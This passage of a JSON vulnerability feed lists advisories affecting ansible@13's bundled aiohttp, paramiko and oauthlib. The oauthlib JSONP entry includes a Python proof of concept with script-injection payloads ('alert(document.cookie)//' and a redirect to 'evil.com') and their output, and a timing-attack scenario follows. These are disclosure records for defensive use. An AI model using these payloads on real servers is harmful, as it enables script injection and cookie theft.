Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128127","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128128","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128129","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128130","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-28qf-cpwq-vmc2","CVE-2026-128130"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request replay and buffer growth behind a declined upgrade","details":"### Summary\n\nWhen the pipelined request queue was full, the pure-Python parser stored the unparsed remainder internally and also returned it to the caller. After a handler declined an upgrade request, the buffered data was re-fed, so the buffer grew with each handled request and already-handled requests were dispatched to the application again.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), an attacker could cause excessive memory use and cause pipelined requests to be processed more than once.\n\n### Workaround\n\nSwitch to the default C parser.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-28qf-cpwq-vmc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128130"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13356"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13360"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/72eaa429cf89b1e20212590f3e704444239569fb"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128131","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-h4cc-hm5h-fmm9","CVE-2026-128131"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Concatenated compressed streams cause excessive CPU use","details":"### Summary\n\nWhen decompressing a payload made up of many concatenated compressed members (gzip, deflate or zstd), each member was decoded by passing the entire remaining input to a new decompressor, resulting in quadratic CPU time. Empty members produce no output, so `client_max_size` and output backpressure did not limit the work.\n\n### Impact\n\nAn attacker could block the event loop of a server with a specially crafted compressed request body or WebSocket message. A malicious server could do the same to a client.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-h4cc-hm5h-fmm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128131"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13362"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13391"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d041d4d0fd48c3f0832084d33be16cf1c4835f85"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128132","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-44405","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T10:25:52Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r374-rxx8-8654"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2026-2858.yaml"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"},{"type":"WEB","url":"https://pypi.org/project/paramiko"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-49264","published":"2026-09-30T21:01:56Z","modified":"2026-10-14T10:00:01Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264","PYSEC-2026-4113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n    response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `<script src=\"...\">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\", http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n  [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n        request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49264"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/951"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-49265","published":"2026-09-30T21:01:56Z","modified":"2026-10-14T10:00:01Z","upstream":["GHSA-xpv3-w29h-x7cv","CVE-2026-49265","PYSEC-2026-4114"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)","details":"## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response 